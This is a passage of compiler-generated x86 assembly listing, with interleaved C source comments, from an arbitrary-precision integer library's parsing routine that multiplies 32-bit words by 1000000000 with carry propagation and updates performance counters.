; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+40]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+44]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+44], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+48]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+52]
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+52], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+56]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+60]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+64]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+64], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+68]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+68], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+72]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+72], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+76]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+76], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+80]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+80], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+84]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+84], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+88]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+88], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+92]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+92], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+96]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+96], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+100]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+100], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+104]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+104], eax
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx+108]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+108], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+112]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+112], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+116]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+116], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+120]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+120], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+124]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+124], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 445 : u_buf += 32;
sub ecx, -128 ; ffffff80H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 446 : --count;
sub ebx, 1
jne $LL2@MultiplyAn
; 409 : __UNIT_TYPE k = x;
; 410 : __UNIT_TYPE count = u_count >> 5;
; 411 : while (count > 0)
mov ebx, DWORD PTR _u_count$[ebp]
$LN3@MultiplyAn:
; 447 : #ifdef ENABLED_PERFORMANCE_COUNTER
; 448 : if (sizeof(k) == sizeof(_UINT32_T))
; 449 : AddToMULTI32Counter(32);
; 450 : else
; 451 : AddToMULTI64Counter(32);
; 452 : #endif
; 453 : }
; 454 :
; 455 : if (u_count & 0x10)
test bl, 16 ; 00000010H
je $LN509@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+32]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+32], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+36]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+36], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+40]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+40], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+44]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+44], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+48]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+48], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+52]
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
mov DWORD PTR [ecx+52], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+56]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+56], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+60]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+60], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 16 ; 00000010H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 473 : u_buf += 16;
add ecx, 64 ; 00000040H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN509@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 482 : if (u_count & 0x8)
test bl, 8
je $LN593@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+4], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+8]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+8], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+12]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+12], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+16]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+16], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+20]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+20], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+24]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+24], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+28]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx+28], eax
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov edx, OFFSET _statistics_info+4
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 215 : return (_addcarry_u32(carry, u, v, w));
adc edi, 0
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
mov eax, 8
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 492 : u_buf += 8;
add ecx, 32 ; 00000020H
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_uint_internal.h
; 352 : _InterlockedExchangeAdd(&statistics_info.COUNT_MULTI32, value);
lock xadd DWORD PTR [edx], eax
$LN593@MultiplyAn:
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_parse.c
; 501 : if (u_count & 0x4)
test bl, 4
je SHORT $LN637@MultiplyAn
; File z:\sources\lunor\repos\rougemeilland\palmtree.math.core.implements\palmtree.math.core.implements\pmc_inline_func.h
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
mul DWORD PTR [ecx]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, edi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov esi, edx
; 215 : return (_addcarry_u32(carry, u, v, w));
mov DWORD PTR [ecx], eax
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov eax, 1000000000 ; 3b9aca00H
; 215 : return (_addcarry_u32(carry, u, v, w));
adc esi, 0
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mul DWORD PTR [ecx+4]
; 215 : return (_addcarry_u32(carry, u, v, w));
add eax, esi
; 300 : return (_FROMDWORDTOWORD((_UINT64_T)u * v, w_hi));
mov edi, edx
